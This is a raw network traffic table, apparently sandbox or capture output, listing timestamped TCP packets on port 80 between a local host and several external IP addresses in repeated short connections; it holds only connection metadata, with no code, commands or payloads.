Sep 8, 2024 08:42:18.401587009 CEST	80	64250	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:18.401662111 CEST	64250	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:18.401767969 CEST	64250	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:18.406590939 CEST	80	64250	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:19.126274109 CEST	80	64250	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:19.126302004 CEST	80	64250	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:19.126311064 CEST	80	64250	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:19.126354933 CEST	64250	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:19.126384020 CEST	64250	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:19.126446962 CEST	64250	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:19.128177881 CEST	64248	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:19.128448009 CEST	64251	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:19.133085966 CEST	80	64248	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:19.133151054 CEST	64248	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:19.133171082 CEST	80	64251	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:19.133234978 CEST	64251	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:19.135379076 CEST	64251	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:19.140120029 CEST	80	64251	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:19.623786926 CEST	80	64251	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:19.623919964 CEST	64251	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:19.768320084 CEST	64252	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:19.773201942 CEST	80	64252	64.70.19.203	192.168.2.5
Sep 8, 2024 08:42:19.773293972 CEST	64252	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:19.777057886 CEST	64252	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:19.782588959 CEST	80	64252	64.70.19.203	192.168.2.5
Sep 8, 2024 08:42:19.782676935 CEST	64252	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:19.782809019 CEST	64253	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:19.787584066 CEST	80	64253	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:19.787672043 CEST	64253	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:19.792726994 CEST	64253	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:19.797516108 CEST	80	64253	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:20.280069113 CEST	80	64253	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:20.280141115 CEST	80	64253	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:20.280208111 CEST	64253	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:20.280262947 CEST	64253	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:20.280673027 CEST	64251	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:20.280976057 CEST	64254	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:20.285798073 CEST	80	64254	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:20.285814047 CEST	80	64251	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:20.285860062 CEST	64254	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:20.285882950 CEST	64251	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:20.286062956 CEST	64254	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:20.290790081 CEST	80	64254	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:20.772119045 CEST	80	64254	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:20.772284985 CEST	64254	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:20.908488035 CEST	64255	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:20.913414001 CEST	80	64255	64.70.19.203	192.168.2.5
Sep 8, 2024 08:42:20.913547993 CEST	64255	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:20.913624048 CEST	64255	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:20.918742895 CEST	80	64255	64.70.19.203	192.168.2.5
Sep 8, 2024 08:42:20.918839931 CEST	64255	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:20.927506924 CEST	64256	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:20.932389021 CEST	80	64256	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:20.932498932 CEST	64256	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:20.932609081 CEST	64256	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:20.937371969 CEST	80	64256	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:21.414892912 CEST	80	64256	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:21.414972067 CEST	80	64256	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:21.415052891 CEST	64256	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:21.415091038 CEST	64256	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:21.420217991 CEST	64254	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:21.420792103 CEST	64257	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:21.425395012 CEST	80	64254	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:21.425503016 CEST	64254	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:21.425636053 CEST	80	64257	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:21.425708055 CEST	64257	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:21.428107023 CEST	64257	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:21.432914972 CEST	80	64257	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:21.911909103 CEST	80	64257	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:21.912014961 CEST	64257	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:24.348490953 CEST	64258	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:24.353349924 CEST	80	64258	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:24.353458881 CEST	64258	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:24.353548050 CEST	64258	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:24.358858109 CEST	80	64258	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:24.359460115 CEST	64258	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:24.367275000 CEST	64259	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:24.372046947 CEST	80	64259	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:24.372138023 CEST	64259	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:24.372451067 CEST	64259	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:24.377638102 CEST	80	64259	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:24.854604006 CEST	80	64259	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:24.854638100 CEST	80	64259	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:24.854764938 CEST	64259	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:24.854795933 CEST	64259	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:24.855065107 CEST	64257	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:24.855551958 CEST	64260	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:24.860052109 CEST	80	64257	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:24.860287905 CEST	80	64260	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:24.860353947 CEST	64257	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:24.860400915 CEST	64260	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:24.860521078 CEST	64260	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:24.865808964 CEST	80	64260	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:25.340569019 CEST	80	64260	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:25.341388941 CEST	64260	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:27.290268898 CEST	64261	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:27.295133114 CEST	80	64261	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:27.295234919 CEST	64261	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:27.308418036 CEST	64261	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:27.312669992 CEST	64262	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:27.313294888 CEST	80	64261	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:27.313368082 CEST	64261	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:27.317468882 CEST	80	64262	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:27.317532063 CEST	64262	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:27.324016094 CEST	64262	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:27.328829050 CEST	80	64262	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:27.821846962 CEST	80	64262	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:27.821916103 CEST	80	64262	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:27.821969986 CEST	64262	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:27.822098017 CEST	64262	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:27.833930016 CEST	64260	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:27.834213018 CEST	64263	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:27.839144945 CEST	80	64263	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:27.839220047 CEST	64263	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:27.839272976 CEST	80	64260	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:27.839333057 CEST	64260	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:27.840178013 CEST	64263	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:27.844960928 CEST	80	64263	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:28.339884043 CEST	80	64263	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:28.340015888 CEST	64263	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:30.711110115 CEST	64264	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:30.715946913 CEST	80	64264	64.70.19.203	192.168.2.5
Sep 8, 2024 08:42:30.716059923 CEST	64264	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:30.716167927 CEST	64264	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:30.721293926 CEST	64265	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:30.721297026 CEST	80	64264	64.70.19.203	192.168.2.5
Sep 8, 2024 08:42:30.721398115 CEST	64264	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:30.726094961 CEST	80	64265	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:30.726274967 CEST	64265	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:30.726274967 CEST	64265	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:30.731066942 CEST	80	64265	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:31.237052917 CEST	80	64265	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:31.237090111 CEST	80	64265	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:31.237241030 CEST	64265	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:31.237513065 CEST	64265	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:31.254472017 CEST	64263	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:31.254765034 CEST	64266	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:31.259552002 CEST	80	64266	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:31.259572983 CEST	80	64263	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:31.259645939 CEST	64266	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:31.259674072 CEST	64263	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:31.259829998 CEST	64266	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:31.264558077 CEST	80	64266	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:31.753906965 CEST	80	64266	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:31.754012108 CEST	64266	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:32.790159941 CEST	64267	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:32.796435118 CEST	80	64267	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:32.796505928 CEST	64267	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:32.796641111 CEST	64267	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:32.800425053 CEST	64268	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:32.802454948 CEST	80	64267	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:32.802515984 CEST	64267	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:32.805284023 CEST	80	64268	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:32.805371046 CEST	64268	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:32.808332920 CEST	64268	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:32.813118935 CEST	80	64268	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:33.308577061 CEST	80	64268	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:33.308598995 CEST	80	64268	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:33.308666945 CEST	64268	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:33.308773994 CEST	64268	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:33.310411930 CEST	64266	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:33.310688019 CEST	64269	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:33.315509081 CEST	80	64266	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:33.315550089 CEST	80	64269	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:33.315571070 CEST	64266	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:33.315618992 CEST	64269	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:33.315746069 CEST	64269	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:33.320487976 CEST	80	64269	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:33.795360088 CEST	80	64269	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:33.795417070 CEST	64269	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:34.974046946 CEST	64978	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:34.978926897 CEST	80	64978	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:34.981373072 CEST	64978	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:34.981508970 CEST	64978	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:34.986309052 CEST	80	64978	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:35.470726967 CEST	80	64978	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:35.470751047 CEST	80	64978	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:35.470798016 CEST	64978	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:35.470828056 CEST	64978	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:35.488987923 CEST	64978	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:35.489034891 CEST	64978	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:35.493566036 CEST	64979	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:35.498441935 CEST	80	64979	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:35.498518944 CEST	64979	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:35.498615980 CEST	64979	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:35.503428936 CEST	80	64979	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:35.982285023 CEST	80	64979	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:35.982371092 CEST	80	64979	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:35.982443094 CEST	64979	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:35.982484102 CEST	64979	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:35.982692003 CEST	64269	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:35.982961893 CEST	64980	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:35.987862110 CEST	80	64269	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:35.987876892 CEST	80	64980	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:35.987951040 CEST	64269	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:35.987993956 CEST	64980	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:35.988097906 CEST	64980	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:35.992878914 CEST	80	64980	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:36.491087914 CEST	80	64980	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:36.491187096 CEST	64980	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:37.672853947 CEST	64981	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:37.677730083 CEST	80	64981	64.70.19.203	192.168.2.5
Sep 8, 2024 08:42:37.677809954 CEST	64981	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:37.683331966 CEST	64981	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:37.687748909 CEST	64982	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:37.688883066 CEST	80	64981	64.70.19.203	192.168.2.5
Sep 8, 2024 08:42:37.688946962 CEST	64981	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:37.693604946 CEST	80	64982	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:37.693685055 CEST	64982	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:37.699003935 CEST	64982	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:37.703968048 CEST	80	64982	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:38.173892975 CEST	80	64982	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:38.173957109 CEST	80	64982	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:38.174144983 CEST	64982	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:38.174473047 CEST	64982	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:38.179174900 CEST	64980	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:38.180545092 CEST	64983	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:38.184341908 CEST	80	64980	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:38.184451103 CEST	64980	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:38.185312986 CEST	80	64983	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:38.185394049 CEST	64983	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:38.185600042 CEST	64983	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:38.190327883 CEST	80	64983	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:38.696065903 CEST	80	64983	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:38.696134090 CEST	64983	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:39.948888063 CEST	64984	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:39.953860998 CEST	80	64984	64.70.19.203	192.168.2.5
Sep 8, 2024 08:42:39.953953981 CEST	64984	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:39.954041958 CEST	64984	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:39.957954884 CEST	64985	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:39.959343910 CEST	80	64984	64.70.19.203	192.168.2.5
Sep 8, 2024 08:42:39.959414005 CEST	64984	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:39.962809086 CEST	80	64985	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:39.962888956 CEST	64985	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:39.962965965 CEST	64985	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:39.967802048 CEST	80	64985	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:40.449285984 CEST	80	64985	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:40.449326038 CEST	80	64985	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:40.449384928 CEST	64985	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:40.449457884 CEST	64985	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:40.458164930 CEST	64983	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:40.458482981 CEST	64986	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:40.463376999 CEST	80	64986	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:40.463390112 CEST	80	64983	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:40.463460922 CEST	64983	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:40.463498116 CEST	64986	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:40.473407984 CEST	64986	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:40.478883028 CEST	80	64986	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:40.974546909 CEST	80	64986	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:40.974673986 CEST	64986	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:41.100159883 CEST	64987	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:41.105020046 CEST	80	64987	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:41.105139971 CEST	64987	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:41.105309010 CEST	64987	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:41.109167099 CEST	64988	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:41.110382080 CEST	80	64987	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:41.110470057 CEST	64987	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:41.113976002 CEST	80	64988	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:41.114033937 CEST	64988	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:41.114131927 CEST	64988	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:41.118855000 CEST	80	64988	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:41.607801914 CEST	80	64988	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:41.607850075 CEST	80	64988	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:41.607920885 CEST	64988	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:41.607999086 CEST	64988	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:41.609530926 CEST	64986	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:41.609787941 CEST	64989	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:41.614588022 CEST	80	64989	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:41.614653111 CEST	64989	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:41.614731073 CEST	80	64986	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:41.614789963 CEST	64986	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:41.614882946 CEST	64989	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:41.619656086 CEST	80	64989	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:42.094120026 CEST	80	64989	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:42.094221115 CEST	64989	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:42.209189892 CEST	64990	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:42.213996887 CEST	80	64990	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:42.214090109 CEST	64990	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:42.214164972 CEST	64990	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:42.217755079 CEST	64991	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:42.219307899 CEST	80	64990	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:42.219383955 CEST	64990	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:42.222596884 CEST	80	64991	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:42.222681046 CEST	64991	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:42.230262995 CEST	64991	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:42.235130072 CEST	80	64991	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:42.706918001 CEST	80	64991	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:42.707040071 CEST	80	64991	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:42.707118988 CEST	64991	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:42.709192038 CEST	64991	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:42.709192991 CEST	64989	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:42.709453106 CEST	64992	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:42.714534044 CEST	80	64989	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:42.714541912 CEST	80	64992	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:42.714611053 CEST	64989	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:42.714644909 CEST	64992	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:42.715025902 CEST	64992	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:42.719831944 CEST	80	64992	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:43.196842909 CEST	80	64992	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:43.196937084 CEST	64992	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:44.458395004 CEST	64993	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:44.463321924 CEST	80	64993	64.70.19.203	192.168.2.5
Sep 8, 2024 08:42:44.463427067 CEST	64993	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:44.464576006 CEST	64993	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:44.469443083 CEST	80	64993	64.70.19.203	192.168.2.5
Sep 8, 2024 08:42:44.469518900 CEST	64993	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:44.489546061 CEST	64994	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:44.494456053 CEST	80	64994	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:44.494577885 CEST	64994	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:44.495842934 CEST	64994	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:44.500658989 CEST	80	64994	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:44.981064081 CEST	80	64994	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:44.981142044 CEST	80	64994	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:44.981215954 CEST	64994	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:44.984261036 CEST	64994	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:44.992718935 CEST	64992	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:44.993074894 CEST	64995	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:44.997920036 CEST	80	64992	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:44.997957945 CEST	80	64995	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:44.998025894 CEST	64992	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:44.998064041 CEST	64995	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:44.999213934 CEST	64995	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:45.004067898 CEST	80	64995	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:45.538496971 CEST	80	64995	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:45.538594961 CEST	64995	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:45.662456989 CEST	64996	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:45.667474031 CEST	80	64996	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:45.667552948 CEST	64996	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:45.668958902 CEST	64996	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:45.673717976 CEST	64997	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:45.674340010 CEST	80	64996	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:45.674392939 CEST	64996	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:45.679205894 CEST	80	64997	172.234.222.143	192.168.2.5
